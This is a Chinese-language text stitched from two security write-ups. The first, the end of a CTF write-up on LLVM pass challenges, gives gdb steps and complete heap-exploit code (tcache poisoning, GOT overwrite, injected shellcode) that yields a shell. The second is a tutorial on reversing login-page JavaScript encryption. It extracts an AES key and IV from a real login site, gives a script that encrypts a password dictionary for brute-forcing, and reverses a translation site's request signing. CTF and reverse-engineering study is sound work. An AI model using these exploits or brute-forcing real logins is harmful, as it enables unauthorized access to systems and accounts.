gdb opt-8 set args -load ./VMPass.so -VMPass ./exp.ll b main b *0x4bb7e3 b *(0x7f11c1a00000+0x73EE) tele 0x7f11c1a00000+0x20E580 调试到这里,.so已经加载好了 下断点调试即可 调试可以看到成功修改free@got为one_gadget,但是三个都打不通,libc不同 2.CISCN2021 satool PASS注册名称为SAPass 函数名B4ckDo0r save函数,两个参数,char类型,申请一个0x20的堆块,把两个参数分别放入堆块中 stealkey函数,没有参数,把堆块中的第一个8字节赋值给byte_204100 fakekey函数,1个参数,与byte_204100相加并赋值给chunk的前8字节 run函数,没有参数,将chunk的前八字节作为函数指针调动 基本exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ } 这里可以看到,save会malloc一个0x20大小的chunk,调试发现,save一次后,tcache中没有符合要求的chunk了,再save一次,就会变成smallbins,这时候chunk中会有残留的libc指针,再通过stealkey把指针赋值给byte_204100,再用fakekey对指针进行偏移的加减,改为one_gadget,执行run函数,即可 完整exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ save("aaaa","bbbb"); save("","b"); stealkey(); fakekey(-0x1090f2); run(); } 3.CISCN2023 llvmHELLO PASS注册名称为Hello Add函数,一个参数,申请一个堆块 Del函数,一个参数,free一个堆块,没有uaf edit(idx,data_idx,data),edit函数,3个参数,向第idx个chunk的第data_idx个四字节写入4字节 Alloc函数,没有参数,将0x10000设置为可读可写可执行 EditAlloc函数,2个参数,EditAlloc(idx,idx_alloc),把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处 基本exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ } 在edit中,存在堆溢出,可利用edit修改tcache bin中chunk的fd,进行tcachebinattack,执行一次Alloc,申请0x10000开始的0x1000的空间,写入shellcode,由于没有开启PIE,用tcachebinattack改free的got表为0x10000,然后执行Del函数,执行shellcode拿到shell 最终exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ Add(0xa0); Add(0x78); //0x8203 Edit(1,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(2,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(3,0,0xdeadbeef); // 0x8602 Del(1); Del(3); //0x83e4 Edit(2,32,0x78b108); // Alloc();//0x8690 Edit(0,0,0x56f63148); // 0x8602 EditAlloc(0,0); Edit(0,0,0x622fbf48); // 0x8602 EditAlloc(0,4); Edit(0,0,0x2f2f6e69); // 0x8602 EditAlloc(0,8); Edit(0,0,0x54576873); // 0x8602 EditAlloc(0,12); Edit(0,0,0x583b6a5f); // 0x8602 EditAlloc(0,16); Edit(0,0,0x00050f99); // 0x8602 EditAlloc(0,20); Add(0x78); Add(0x78); Edit(3,0,0x10000); Edit(3,1,0); Del(1); }
对某登录站点的JS前端逆向思路
前言 js逆向一直没有相关了解,虽然目前渗透遇见的不是很多,大多数遇见的要么不加密,要么无法实现其加密流程,不过最近看到了一个较为简单的站点正好能够逆向出来,就做了简单记录。本文旨在介绍js逆向的一些基础思路,希望能对初学js前端逆向的师傅有所帮助。 JS定位 在我们寻找JS源代码时,如果直接翻看全部的js文件以来寻找自己想要的一部分,无疑是复杂繁琐的,且工作量巨大,有点类似大海捞针,因此这里我们需要借助一些巧妙的办法来快速定位某标签的js语句,具体方法如下。 元素审查定位 当我们不确定某处的js文件位置时,可以使用F12,点击元素审查,然后点击登录处,观察事件监听器 此时可以观察到login.js文件出现,接下来就可以去对应文件下继续深入。 发现check函数,寻找check函数 此时发现加密是secret函数,再继续跟secert函数就可以了解其整体流程。 全局搜索法 像我们常见的登录框,他们要提交的加密参数一般名为password,或者加密为Crypto加密,因此我们可以全局搜索此类关键字,进而寻找我们需要找的关键加密js语句,进而实现js逆向。 具体操作也很简单,这里简单举个例子。 首先打开F12,随便点击一个元素,而后ctrl+shift+f,接下来全局搜索关键词即可 此时含关键词的语句映入眼帘,像一些css文件中的直接略过即可,而后即可找到真正生成密码的地方 接下来便可以深入secret,了解加密方法。 Onclick定位 像一些登录点是存在着onclick属性的,如若该属性值是js函数,那么就极有可能是我们要寻找的js加密函数,而后进行寻找相关函数即可。 注:图参考自cony1大师傅。 以cony1大师傅的图为例进行简单讲解 这里发现ssologin函数,接下来寻找该函数 此时即可发现相关js语句。 实战 某登录站点js逆向 找到一个登录站点,随意输入 发现用户名和密码均被加密,接下来ctrl+shift+f,全局搜索password字段,寻找加密点 第一个这里明显是输入框的password,且是注释,肯定不是这里,接着寻找,后来到 整体代码如下        function check() {            //这里将用户名,密码加密            var code = 'letu@levle';            var yname = $("#yname").val();            if (yname == '') {                alert("用户名不能为空");                return false;           } else {                var newName = secret(yname, code, false);                $("#xname").val(newName);           }            var ypassword = $("#ypassword").val();            if (ypassword == '') {                alert("密码不能为空");                return false;           } else {                var newPassword = secret(ypassword, code, false);                $("#xpassword").val(newPassword);           }       } 可以看出js代码逻辑并不难,首先提取出ypassword标签下的内容,而后验证其是否为空,若不为空,则对其进行secret函数处理,很明显,这个secret函数就是加密函数,所以我们接下来跟进此加密函数 这里直接给出了iv和key,所以接下来打断点调试就行了,而后打上断点 接下来开始随便输入密码提交,而后来到调试界面 选中code.substring(16)得到keyf3991777154f4bd0 选中code.substring(0,16)得到偏移量ace43e65106a77f6 下方也给出了Padding和mode分别是Pkcs7和CBC,所以接下来直接解密即可,在网络中我们可以看到提交后加密的账密 拿去随便找个AES解密网站 与所输入的进行比对 成功得到正确结果 接下来编写脚本即可,直接将字典的内容全部进行加密,而后放入burp进行爆破 import base64 from Crypto.Cipher import AES from Crypto.Hash import MD5 from Crypto.Util.Padding import pad #填入AES的key和iv key = 'f3991777154f4bd0' iv = 'ace43e65106a77f6' def AES_Encrypt(data):    global key    global iv    cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))    paddingdata = pad(data.encode('utf-8'),AES.block_size)    encrypted = cipher.encrypt(paddingdata)    #print(base64.b64encode(encrypted).decode())    return base64.b64encode(encrypted).decode() password = [] with open('password.txt','r',encoding='utf-8') as f:    for i in f:        password.append(i.strip()) with open('password_aes.txt','w',encoding='utf-8') as w:    for i in password:        data = AES_Encrypt(i)+'\n'        w.write(data) 数据长度明显与错误时不一致,不过这里也未成功进入后台,有二次验证,Google验证码无从下手,故点到为止。 某道js逆向 接下来进行抓包 这里我们首先注意一下每次不同点在哪,以此为入口点来进行下去,因此我们多次刷新界面抓包,同样的参数观察包的参数哪个值是不同的 从上图可以看出sign和mysticTime是变化的,因此接下来针对这两个变量进行深入,如果我们能够控制这两个变量,那么我们就可以实现直接脚本请求得到翻译对应的语句。 所以接下来首先从sign开始,我们首先进行F12,而后输入ctrl+shift+f全局搜索关键词 这里可以发现出现了js中含有sign关键字的,但像这个inpage.js他明显不是我们要找的js语句,因此继续往下寻找(输入sign:更容易找到对应函数)。这里我们找到如下语句 相关代码如下 const u = "fanyideskweb"             , d = "webfanyi"             , m = "client,mysticTime,product"             , p = "1.0.0"             , g = "web"             , b = "fanyi.web"             , A = 1             , h = 1             , f = 1             , v = "wifi"             , O = 0;            function y(e) {                return c.a.createHash("md5").update(e).digest()           }            function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           }            function k(e, t) {                return j(`client=${u}&mysticTime=${e}&product=${d}&key=${t}`)           }            function E(e, t) {                const o = (new Date).getTime();                return {                    sign: k(o, e),                    client: u,                    product: d,                    appVersion: p,                    vendor: g,                    pointParam: m,                    mysticTime: o,                    keyfrom: b,                    mid: A,                    screen: h,                    model: f,                    network: v,                    abtest: O,                    yduuid: t || "abcdefg"               }           } 这里可以看到sign是由函数k构成的,同时注意到这里也给出了k的参数,k是由client=fanyideskweb&mysticTime=${e}&product=webfanyi&key=${t}所组成的,此时再看函数E,o是时间戳,e这里未知,这时候该怎么办呢,先看看他是不是固定值,当自己不确定在哪下断点调试时,就在附近的几个可疑点都打下断点,观察e的值即可 经观察,这里的e值是固定的,即fsdsogkndfokasodnaso,此时k(o,e)中的参数我们都了解了,但我们注意到k函数中是有j在外包裹的,因此我们需要对j函数进行相关了解 function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           } 明显的md5加密,因此到这里也就都清楚了。 当我们进行请求时,首先获取当前的时间戳,此作为参数之一,同时与client等参数值组合,进行md5加密,就组成了sign的值。对于mysticTime这个参数,我们从k函数也了解到它其实就是时间戳,因此两个变化的参数到目前就都了解其生成过程了。 接下来尝试写python脚本 import hashlib import time import requests requests.packages.urllib3.disable_warnings() headers = {"Content-Length": "312", "Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"", "Accept": "application/json, text/plain, */*", "Content-Type": "application/x-www-form-urlencoded", "Sec-Ch-Ua-Mobile":"?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://fanyi.youdao.com", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://fanyi.youdao.com/", "Accept-Encoding": "gzip, deflate", } Cookie = { "OUTFOX_SEARCH_USER_ID":"239978291@10.130.108.41", "OUTFOX_SEARCH_USER_ID_NCOO":"520521807.43848985" } url = "" word = input("请输入翻译内容:") localtime = str(int(time.time() * 1000)) canshu = "client=fanyideskweb&mysticTime={}&product=webfanyi&key=fsdsogkndfokasodnaso".format(localtime) sign = hashlib.md5(canshu.encode(encoding='utf8')).hexdigest() data = {    "i": f"{word}",    "from": "auto",    "to": "",    "dictResult": "true",    "keyid": "webfanyi",    "sign": sign,    "client": "fanyideskweb",    "product": "webfanyi",    "appVersion": "1.0.0",    "vendor": "web",    "pointParam": "client,mysticTime,product",    "mysticTime": localtime,    "keyfrom": "fanyi.web" } res = requests.post(url=url,headers=headers,cookies=Cookie,data=data,verify=False) print(res.text) 此时便得到了加密数据,解密同理,不再阐述。